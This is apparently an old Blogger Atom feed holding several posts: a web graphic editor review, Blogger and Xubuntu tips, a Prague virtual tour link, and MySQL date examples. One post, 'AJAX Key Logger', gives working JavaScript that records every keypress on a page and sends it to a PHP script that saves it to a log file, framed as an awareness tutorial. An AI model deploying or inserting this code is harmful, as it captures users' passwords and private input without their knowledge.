href="http://4.bp.blogspot.com/_y9bIz6XDw14/SQts4qwcBlI/AAAAAAAAAFo/kOfCZaUxEz8/s1600-h/preview.png"&gt;&lt;img style="cursor: pointer; width: 400px; height: 286px;" src="http://4.bp.blogspot.com/_y9bIz6XDw14/SQts4qwcBlI/AAAAAAAAAFo/kOfCZaUxEz8/s400/preview.png" alt="" id="BLOGGER_PHOTO_ID_5263420310318483026" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;p class="MsoNormal"  style="text-indent: 35.4pt;font-family:verdana;"&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="text-indent: 35.4pt;font-family:verdana;"&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;Yes, SUMO Paint is a web graphic editor. And it’s no “simple” editor for drawing straight lines, circles or squares; it’s an editor comparable with Gimp or Photoshop.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="text-indent: 35.4pt;font-family:verdana;"&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;You are required to have a flash player (9), which I have, so I had no problem with running it. The registration was really friendly. (You don’t need to be registered to use SUMO Paint). I have to admit that I’m always lazy to register myself somewhere. It’s boring to write the name, pass (twice), email (twice) and some other “required” things, but this registration took me about 5 seconds or so. The form looks like a log-in form extended for an email field and a checkbox “I read the rules…” When you click “Register” you are immediately registered and the login form becomes pre-filled with your name and pass.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="text-indent: 35.4pt;font-family:verdana;"&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;The application opens in a new window. The appearance is very similar to Photoshop. There is a menu on the top (File, Edit, Image, Select…) Tool box, Layer box, Color picker box etc. Everything is moveable; the user interface is really friendly even it’s made in flash and it runs in a web browser. I can say some things are even better solved than in Photoshop or Gimp. That’s for example the right column. When you “minimize” one of the boxes, the others adjust their height automatically. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="text-indent: 35.4pt;font-family:verdana;"&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;Let’s go through some features now.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="margin-left: 53.4pt; text-indent: -18pt;font-family:verdana;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;&lt;span style=""&gt;1)&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;I like the full screen feature. You turn it on here (View – Enter Full Screen Mode) and turn it off by pressing Esc. I think that the YouTube player has the same feature so maybe this is a native function of Flash. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="margin-left: 53.4pt; text-indent: -18pt;font-family:verdana;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;&lt;span style=""&gt;2)&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;Layers. One of the functions I wouldn’t be able to live without. So it’s pretty nice that this editor supports them. And what’s more, you can set the “Layer effects” for each layer, like in Photoshop. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="margin-left: 53.4pt; text-indent: -18pt;font-family:verdana;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;&lt;span style=""&gt;3)&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-size:85%;"&gt;Symmetry Tool. I’ve never seen this before. How to describe it… I set 4 points of symmetry. I started drawing somewhere and made a quarter of a circle and it made automatically a full circle. This tool is amazing :p you can make beautiful creations easily. Experiment with the gravity and the points of symmetry, you will get nice results.&lt;/span&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="margin-left: 53.4pt; text-indent: -18pt;font-family:verdana;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;&lt;span style=""&gt;4)&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-size:85%;"&gt;Filters. Again, useful thing. You get a preview immediately.&lt;/span&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="margin-left: 53.4pt; text-indent: -18pt;font-family:verdana;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;&lt;span style=""&gt;5)&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-size:85%;"&gt;SUMO Paint also offers you some own brushes, which are pretty good.&lt;/span&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="margin-left: 53.4pt; text-indent: -18pt;font-family:verdana;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;&lt;span style=""&gt;6)&lt;span style=""&gt;      &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span style="font-size:85%;"&gt;You can edit a file on your computer. It will be copied on the server and when you finish editing it, you can download it back or save it to your Sumo account (if you’re registered of course). The same you can do with a picture from web.&lt;/span&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;I could go on with the functions and features but I think this is enough. While I was writing this article, I was thinking about the idea of a graphic editor on web. I’m not going to use it for some serious stuff, but it really doesn‘t mean I don’t like the idea. I prefer my desktop graphic editor (Gimp), but you know, there are situations you are on a computer and there is only MS Paint and you need to edit some photo. In this situation I would definitaly use SUMO Paint for the edit. This is a case when I would prefer it but if I can choose between a desktop and a web graphic editor, I would use the desktop one. Maybe I’m too conservative.&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"  style="font-family:verdana;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a href="http://www.sumopaint.com/"&gt;SUMO Paint homepage&lt;/a&gt;&lt;/span&gt;&lt;span  lang="EN-US" style="font-size:85%;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-4935951484007738932?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=1hebTq2j"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=vDBUF8LH"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=vDBUF8LH" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=dSsoDLQ9"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=dSsoDLQ9" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=doiHErTo"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=doiHErTo" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/4935951484007738932/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=4935951484007738932" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/4935951484007738932?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/4935951484007738932?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/UZ35HPFRlPI/sumo-paint.html" title="SUMO Paint" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_y9bIz6XDw14/SQts4qwcBlI/AAAAAAAAAFo/kOfCZaUxEz8/s72-c/preview.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/10/sumo-paint.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkIGSX86cCp7ImA9WxRWEkw.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-2131807550041685589</id><published>2008-10-28T17:51:00.005+01:00</published><updated>2008-10-28T18:22:08.118+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-28T18:22:08.118+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Tricks" /><title>Posting (javascript) code in Blogger</title><content type="html">&lt;span style=";font-family:verdana;font-size:85%;"  &gt;You could take notice that I copied a code in my previous post called &lt;a href="http://bulbing.blogspot.com/2008/10/ajax-key-logger.html"&gt;AJAX Key Logger&lt;/a&gt;, actually it wasn't as easy as I thought before posting that. I had a problem with sending Java Script code because the Blogger application thought it's a code and yes, it was right about that but it didn't display my code maybe because of some security reasons.&lt;br /&gt;&lt;br /&gt;So I googled a bit and I found a solution. You just need to convert your code to html entities, I found &lt;a href="http://www.elliotswan.com/postable/"&gt;this converter&lt;/a&gt;, which works just fine for me. When you convert your code, you copy that back to Blogger and it will be displayed in your post.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-2131807550041685589?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=pIwBcWWg"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=0N7r7x7K"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=0N7r7x7K" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=q1c2XXJp"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=q1c2XXJp" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=4Fie4r1A"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=4Fie4r1A" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/2131807550041685589/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=2131807550041685589" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/2131807550041685589?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/2131807550041685589?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/stw6MysS_9o/posting-javascript-code-in-blogger.html" title="Posting (javascript) code in Blogger" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/10/posting-javascript-code-in-blogger.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DU8FR3Y7fCp7ImA9WxVRGE8.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-2024265199154720479</id><published>2008-10-13T14:23:00.003+02:00</published><updated>2009-01-24T21:10:16.804+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-24T21:10:16.804+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="xubuntu" /><category scheme="http://www.blogger.com/atom/ns#" term="Linux" /><title>Xubuntu 8.10 comming soon</title><content type="html">&lt;span style="font-size:85%;"&gt;&lt;a style="font-family: verdana;" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://xubuntu.org/"&gt;&lt;img style="cursor: pointer; width: 221px; height: 184px;" src="http://xubuntu.org/xubuntu-static/intrepid-countdown/index.php" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;Xubuntu 8.10 is comming. You can tell it to the whole world by adding this code on your web page.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;&amp;lt;a href="http://xubuntu.org" title="Learn more about Xubuntu..."&amp;gt;&amp;lt;img src="http://xubuntu.org/xubuntu-static/intrepid-countdown/index.php" alt="Countdown to Xubuntu (xubuntu.org) 8.10, by Pasi Lallinaho"&amp;gt;&amp;lt;/a&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-2024265199154720479?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=NqU6BaFa"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=V3cCWIcv"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=V3cCWIcv" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=3nwxwkVy"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=3nwxwkVy" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=wJzE6fY6"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=wJzE6fY6" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/2024265199154720479/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=2024265199154720479" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/2024265199154720479?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/2024265199154720479?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/xoYSh3T_PUc/xubuntu-810-comming-soon.html" title="Xubuntu 8.10 comming soon" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/10/xubuntu-810-comming-soon.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0IFSH04eyp7ImA9WxVQE0g.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-6142700167256036440</id><published>2008-10-11T11:21:00.010+02:00</published><updated>2009-01-30T22:38:39.333+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-01-30T22:38:39.333+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="PHP" /><category scheme="http://www.blogger.com/atom/ns#" term="Javascript" /><title>AJAX Key Logger</title><content type="html">&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;I'm pretty sure you know those programs which are logging your action on the keyboard. They simply notice each key you press and save it to a file. These programs can notice your email adress, web pages you visit, your chat with friends and even your passwords. And what's worse, you don't know about them.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;But what I want to write about. You should know that it's also possible to make such a keylogger in javascript. It notices only your action on the current page but still it can be misused. Just for example, imagine that you are trying to login somewhere and you are requested to enter a password. Are you 100% sure while entering the password or do you have to try some passwords because you can't recall the correct one?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;You can create a keylogger very simple, I want you to be aware that something like this exists. &lt;span style="font-weight: bold;"&gt;Don't misuse this tutorial.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;1) Create a file and call it index.html. Copy this into it and save it.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;blockquote style="font-family: courier new;"&gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;function sendkeylog (keylog) {&lt;br /&gt; if (window.ActiveXObject) {&lt;br /&gt;   httpRequest = new ActiveXObject("Microsoft.XMLHTTP");&lt;br /&gt; }&lt;br /&gt; else {&lt;br /&gt;   httpRequest = new XMLHttpRequest();&lt;br /&gt; }&lt;br /&gt; httpRequest.open("GET", "server.php?keylog="+keylog, true);&lt;br /&gt; httpRequest.send(null);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function savekeycode (e) {&lt;br /&gt; keylog+=String.fromCharCode(e.charCode);&lt;br /&gt; if ((keylog.length==5)||(e.keyCode==13)) {&lt;br /&gt;   sendkeylog(keylog);&lt;br /&gt;   keylog="";&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;keylog="";&lt;br /&gt;document.onkeypress=savekeycode;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;How does it work? The javacript notices every key press and save&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;s it into a variable called &lt;span style="font-family:courier new;"&gt;keylog&lt;/span&gt;. When the &lt;span style="font-family:courier new;"&gt;keylog&lt;/span&gt; variable reaches the lenght of 5 letters, it's sent to a server by an ajax request.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;2) Create a file and name it server.php. Copy this code and save it.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;blockquote  style="font-family:verdana;"&gt;&lt;span style="font-size:100%;"&gt;&amp;lt;?php&lt;br /&gt;$myFile = "log.txt";&lt;br /&gt;$fh = fopen($myFile, 'a+') or die("can't open file");&lt;br /&gt;$stringData = $_GET["keylog"];&lt;br /&gt;fwrite($fh, $stringData);&lt;br /&gt;fclose($fh);&lt;br /&gt;?&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family:verdana;"&gt;The file on a server catchs the variable &lt;span style="font-family:courier new;"&gt;keylog&lt;/span&gt; (delivered by the ajax request) and saves it into a file called log.txt. The file log.txt should have a persmission to be rewritten.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-6142700167256036440?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=sLdEcf8f"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=UpZMpANl"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=UpZMpANl" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=1ExR93o7"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=1ExR93o7" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=AyM0DaFD"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=AyM0DaFD" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/6142700167256036440/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=6142700167256036440" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/6142700167256036440?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/6142700167256036440?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/YqTQJIXit-g/ajax-key-logger.html" title="AJAX Key Logger" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/10/ajax-key-logger.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DU4ASH0_eyp7ImA9WxRQFEo.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-8905328195711045197</id><published>2008-10-08T16:39:00.004+02:00</published><updated>2008-10-08T16:59:09.343+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-08T16:59:09.343+02:00</app:edited><title>Virtual tours from the Prague's towers</title><content type="html">&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:verdana;"&gt;Few days ago I found a very nice website, which allows you to watch Prague from the bird's-eye view. To be more exact you just choose one of the hundred towers in Prague and you got a photograph with the maximal angle of view 360°x180°. This means you can turn right, turn left, look above and bellow you which enables you to see everything around you.&lt;/span&gt;  &lt;span style="font-family:verdana;"&gt;&lt;br /&gt;&lt;br /&gt;The whole application is made in Flash (I suppose you need to have Flash Player 9, but I didn't try with the older versions). Every photo has about 1/2MB so it's downloaded pretty fast and immediately ready to use. You control the view with the buttons on the photo or with your mouse just by clicking on the photo. There is also a fullscreen function and it's very, very nice :p. If you are tired from the view of your tower, you can 'jump' on another by clicking on the arrow above the tower you want to jump to.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:verdana;"&gt;So it was a little description and here is the link you can follow if this article impressed you. &lt;/span&gt;&lt;a style="font-family: verdana;" href="http://stovezata.praha.eu/homepage.html"&gt;Virtual tours from the Prague's towers&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.virtualtravel.cz/files/jpg/40/f4060.jpeg"&gt;&lt;img style="cursor: pointer; width: 516px; height: 258px;" src="http://www.virtualtravel.cz/files/jpg/40/f4060.jpeg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-8905328195711045197?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~f/bulbing?a=akPMWNrY"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?d=41" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=PudHpYLU"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=PudHpYLU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=oWApJxc3"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=oWApJxc3" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~f/bulbing?a=rG9puWq2"&gt;&lt;img src="http://feeds.feedburner.com/~f/bulbing?i=rG9puWq2" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;</content><link rel="replies" type="application/atom+xml" href="http://bulbing.blogspot.com/feeds/8905328195711045197/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=7661750990571372171&amp;postID=8905328195711045197" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/8905328195711045197?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/7661750990571372171/posts/default/8905328195711045197?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/bulbing/~3/9UEaPYrP2SI/virtual-tours-from-pragues-towers.html" title="Virtual tours from the Prague's towers" /><author><name>Bulb</name><uri>http://www.blogger.com/profile/14303357291168954552</uri><email>noreply@blogger.com</email><gd:extendedProperty name="OpenSocialUserId" value="01705017211564360478" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bulbing.blogspot.com/2008/10/virtual-tours-from-pragues-towers.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0QBR3Y9cCp7ImA9WxRQE0Q.&quot;"><id>tag:blogger.com,1999:blog-7661750990571372171.post-5800103399925683026</id><published>2008-10-07T17:40:00.004+02:00</published><updated>2008-10-07T18:02:36.868+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-10-07T18:02:36.868+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="MySQL" /><title>MySQL TIMESTAMPDIFF</title><content type="html">&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: verdana;"&gt;Timestampdiff is a very useful function in MySQL. It counts days, months, years or what you want between two dates. Of course it takes into account things like 29th February etc. The usage is simple:&lt;/span&gt;&lt;a style="font-family: verdana;" href="http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_timestampdiff"&gt;&lt;code class="literal"&gt;&lt;/code&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-family: verdana;"&gt;mysql&gt; SELECT TIMESTAMPDIFF(DAY, '2008-02-28', '2008-03-01');&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;//prints: 2&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-family: verdana;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;You can for example count the number of days you are on the world.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-family: verdana;"&gt;mysql&gt; SELECT TIMESTAMPDIFF(DAY, '1991-01-01', DATE_FORMAT(NOW(),"%Y-%m-%d"));&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;//prints: 6489&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-family: verdana;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;Or sorry, you actually wanted to have the time in seconds.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;&lt;/span&gt;&lt;blockquote&gt;&lt;span style="font-family: verdana;"&gt;mysql&gt; SELECT TIMESTAMPDIFF(SECOND, '1991-01-01 15:00:00', DATE_FORMAT(NOW(),"%Y-%m-%d %H:%I:%S"));&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: verdana;"&gt;//prints the time since 1991-01-01 15:00:00 until now&lt;/span&gt;&lt;/blockquote&gt;&lt;span style="font-family: verdana;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7661750990571372171-5800103399925683026?l=bulbing.blogspot.com'/&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
